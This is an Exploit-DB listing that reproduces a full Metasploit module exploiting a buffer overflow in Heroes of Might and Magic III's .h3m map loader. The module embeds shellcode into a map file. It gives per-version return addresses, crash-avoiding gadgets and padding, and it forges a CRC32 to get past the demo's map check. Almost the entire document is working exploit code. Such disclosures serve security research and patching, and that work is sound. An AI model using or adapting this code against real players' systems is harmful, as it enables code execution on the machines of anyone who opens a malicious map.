Heroes of Might and Magic III .h3m Map file Buffer Overflow

2015-08-07T00:00:00
ID EDB-ID:37737
Type exploitdb
Reporter metasploit
Modified 2015-08-07T00:00:00

Description

Heroes of Might and Magic III .h3m Map file Buffer Overflow. Local exploit for windows platform

                                        
                                            ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Heroes of Might and Magic III .h3m Map file Buffer Overflow',
      'Description'    => %q{
          This module embeds an exploit into an ucompressed map file (.h3m) for
        Heroes of Might and Magic III. Once the map is started in-game, a
        buffer overflow occuring when loading object sprite names leads to
        shellcode execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Pierre Lindblad', # Vulnerability discovery
          'John AAkerblom'   # Vulnerability discovery, PoC and Metasploit module
        ],
      'References'     =>
        [
          [ 'EDB', '37716' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'H3 Complete 4.0.0.0  [Heroes3.exe 78956DFAB3EB8DDF29F6A84CF7AD01EE]',
            {
              # Two "Anticrash"-gadgets are needed or the game will crash before ret
              #
              # Anticrash1, needs to pass the following code down to final JMP:
              # MOV EAX, DWORD PTR DS : [ESI + 4] ; [Anticrash1 + 4]
              # XOR EBX, EBX
              # CMP EAX, EBX
              # JE SHORT <crash spot> ; JMP to crash if EAX is 0
              # MOV CL, BYTE PTR DS : [EAX - 1]
              # CMP CL, BL
              # JE SHORT <crash spot> ; JMP to crash if the byte before [EAX] is 0
              # CMP CL, 0FF
              # JE SHORT <crash spot> ; JMP to crash if the byte before [EAX] is 0xFF
              # CMP EDI, EBX
              # JNE <good spot> ; JMP to good spot. Always occurs if we get this far
              #
              # Summary: An address which when incremented by 4 and then dereferenced
              # leads to for example a string which is preceeded neither by a 0x00 or 0xFF
              'Anticrash1' => 0x004497D4,
              # Anticrash2, needs to return out of the following call (tricky):
              #
              # MOV EAX, DWORD PTR DS : [ECX] ; [Anticrash2]
              # CALL DWORD PTR DS : [EAX + 4] ; [[Anticrash2] + 4]
              #
              # Summary: An address which when dereferenced leads to an address that
              # when incremented by 4 and then deferenced leads to a function returning
              # without accessing any registers/memory that would cause a crash.
              'Anticrash2' => 0x006A6430,
              'Ret' => 0x004EFF87, # CALL ESP Heroes3.exe
              'Padding' => 121 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip
            }
          ],
          [
            'HD Mod 3.808 build 9 [Heroes3 HD.exe 56614D31CC6F077C2D511E6AF5619280]',
            {
              'Anticrash1' => 0x00456A48,
              'Anticrash2' => 0x006A6830,
              'Ret' => 0x00580C0F, # CALL ESP Heroes3 HD.exe
              'Padding' => 121 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip
            }
          ],
          [
            'Heroes III Demo 1.0.0.0 [h3demo.exe 522B6F45F534058D02A561838559B1F4]',
            {
              # The two anticrash gadgets are accessed in reverse order for this target,
              # meaning that the documentation above for Anticrash1 applies to Anticrash2
              # here. However, Anticrash1 here is accessed differently than the other targets.
              # Anticrash1, needs to pass the following code:
              # CMP BYTE PTR SS:[EBP+5C], 72 ; [Anticrash1 + 0x5C]
              # JNE 00591F37
              # MOV EAX,DWORD PTR SS:[EBP+38] ; [Anticrash1 + 0x38]
              'Anticrash1' => 0x00580C0F, # Coincidentally the Ret value from HD Mod target
              # Anticrash2, see documentation for Anticrash1 (not 2) in H3 Complete 4.0.0.0 target
              'Anticrash2' => 0x005CE200,
              'Ret' => 0x0043EAB1, # CALL ESP h3demo.exe
              'Padding' => 109, # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip
              'CRC32' => 0xFEEFB9EB
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 29 2015',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME',
                      [
                        false,
                        'If file exists, exploit will be embedded' \
                          ' into it. If not, a new default h3m file where' \
                          ' it will be embedded will be created.',
                        'sploit.h3m'
                      ])
      ], self.class)
  end

  def exploit
    buf = ''

    # Load h3m into buffer from uncompressed .h3m on disk/default data
    begin
      buf << read_file(datastore['FILENAME'])
      print_status('File ' + datastore['FILENAME'] + ' exists, will embed exploit if possible')
    rescue Errno::ENOENT
      print_warning('File ' + datastore['FILENAME'] + ' does not exist, creating new file from ' \
        'default .h3m data')
      buf << make_default_h3m
    end

    # Find the object attributes array in the file by searching for a sprite name that occurs
    # as the first game object in all maps.
    objects_pos = buf.index('AVWmrnd0.def')
    if objects_pos.nil?
      print_error('Failed to find game object section in file ' + datastore['FILENAME'] + \
        '. Make sure this file is an uncompressed .h3m (and has not yet had exploit embedded)')
      return
    end

    # Entries in the objects array start with a string size followed by game sprite name string
    # Move back 4 bytes from the first sprite name to get to the start of the objects array
    objects_pos -= 4

    print_good('Found object attributes array in file at decimal offset ' + objects_pos.to_s)

    # Construct a malicious object entry with a big size, where the sprite name starts
    # with a NULL terminator and 6 extra 0x00 bytes. The first 2 of those 6 can be anything,
    # but certain values for the last 4 will cause the CALL-ESP gadget address to be overwritten.
    # After the 7 0x00 bytes comes 121 bytes of random data and then the CALL ESP-gadget for
    # overwriting the saved eip. Finally two "anticrash gadgets" that are used by the game before
    # it returns to the CALL ESP-gadget are required for the game not to crash before returning.
    size = 7 + target['Padding'] + 4 + 4 + 4 + payload.encoded.size
    exp = ''
    exp << [size].pack('V')
    exp << "\x00" * 7 # The first byte terminates string, next 2 dont matter, last 4 need to be 0
    exp << rand_text(target['Padding'])
    exp << [target.ret].pack('V')
    exp << [target['Anticrash1']].pack('V')
    exp << [target['Anticrash2']].pack('V')
    exp << payload.encoded

    # Embed malicious object entry. It is okay if we overwrite the rest of the file and extend buf
    from = objects_pos
    to = from + size
    buf[from..to] = exp
    print_good('Embedded exploit between decimal file offsets ' + from.to_s + ' and ' + to.to_s)

    # Demo version has a crc32 check to disallow other maps than the one it comes with.
    if target['CRC32']
      buf = forge_crc32(buf, target['CRC32'])
      if Zlib.crc32(buf) == target['CRC32']
        print_good('Forged CRC32 to 0x%08X by adding 4 bytes at end of file' % target['CRC32'])
      else
        print_error('Failed to forge CRC32')
        return
      end
    end

    # Write the uncompressed exploit .h3m (the game can load uncompressed .h3ms)
    file_create(buf)
  end

  def substring_pos(string, substring)
    string.enum_for(:scan, substring).map { $~.offset(0)[0] }
  end

  #
  # Loads a file
  #
  def read_file(fname)
    buf = ''
    ::File.open(fname, 'rb') do |f|
      buf << f.read
    end

    buf
  end

  #
  # Returns data for a minimimum required S size h3m map containing 2 players
  #
  def make_default_h3m
    buf = ''

    # Set map specifications to 36x36 (0x24000000) map with 2 players, with
    # default/no settings for name, description, victory condition etc
    buf << "\x0e\x00\x00\x00\x01\x24\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    buf << "\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\xff\x01\x01\x00\x01\x00"
    buf << "\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x8c"
    buf << "\x00\x00\xff\x00\x00\x00\x00\xb1\x00\x00\xff\x00\x00\x00\x00\x00"
    buf << "\x00\x00\xff\x00\x00\x00\x00\x7f\x00\x00\xff\x00\x00\x00\x00\x48"
    buf << "\x00\x00\xff\xff\xff\x00"
    buf << "\xFF" * 16
    buf << "\x00" * 35

    # Each tile is 7 bytes, fill map with empty dirt tiles (0x00)
    buf << "\x00" * (36 * 36 * 7)

    # Set object attribute array count to 1
    buf << "\x01\x00\x00\x00"

    # Size of first sprite name, this will be overwritten
    buf << "\x12\x34\x56\x78"

    # Standard name for first object, which will be searched for
    buf << 'AVWmrnd0.def'

    buf
  end

  #
  # Forge crc32 by adding 4 bytes at the end of data
  # http://blog.stalkr.net/2011/03/crc-32-forging.html
  #
  def forge_crc32(data, wanted_crc)
    crc32_reverse = [
      0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,
      0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
      0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
      0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
      0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
      0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
      0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,
      0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,
      0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
      0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
      0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
      0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
      0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
      0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
      0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
      0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
      0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
      0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,
      0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
      0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
      0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
      0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
      0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
      0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
      0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,
      0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
      0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
      0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
      0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
      0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,
      0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,
      0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,
      0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,
      0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,
      0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,
      0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,
      0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,
      0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,
      0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,
      0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,
      0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,
      0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,
      0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,
      0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,
      0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,
      0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,
      0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,
      0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,
      0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,
      0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,
      0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,
      0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,
      0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,
      0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,
      0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,
      0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,
      0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,
      0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,
      0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,
      0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,
      0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,
      0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,
      0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,
      0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9
    ]

    # forward calculation of CRC up to pos, sets current forward CRC state
    fwd_crc = 0xffffffff
    data.each_byte do |c|
      fwd_crc = (fwd_crc >> 8) ^ Zlib.crc_table[(fwd_crc ^ c) & 0xff]
    end

    # backward calculation of CRC up to pos, sets wanted backward CRC state
    bkd_crc = wanted_crc ^ 0xffffffff

    # deduce the 4 bytes we need to insert
    [fwd_crc].pack('<L').each_byte.reverse_each do |c|
      bkd_crc = ((bkd_crc << 8) & 0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ c
    end

    res = data + [bkd_crc].pack('<L')
    res
  end
end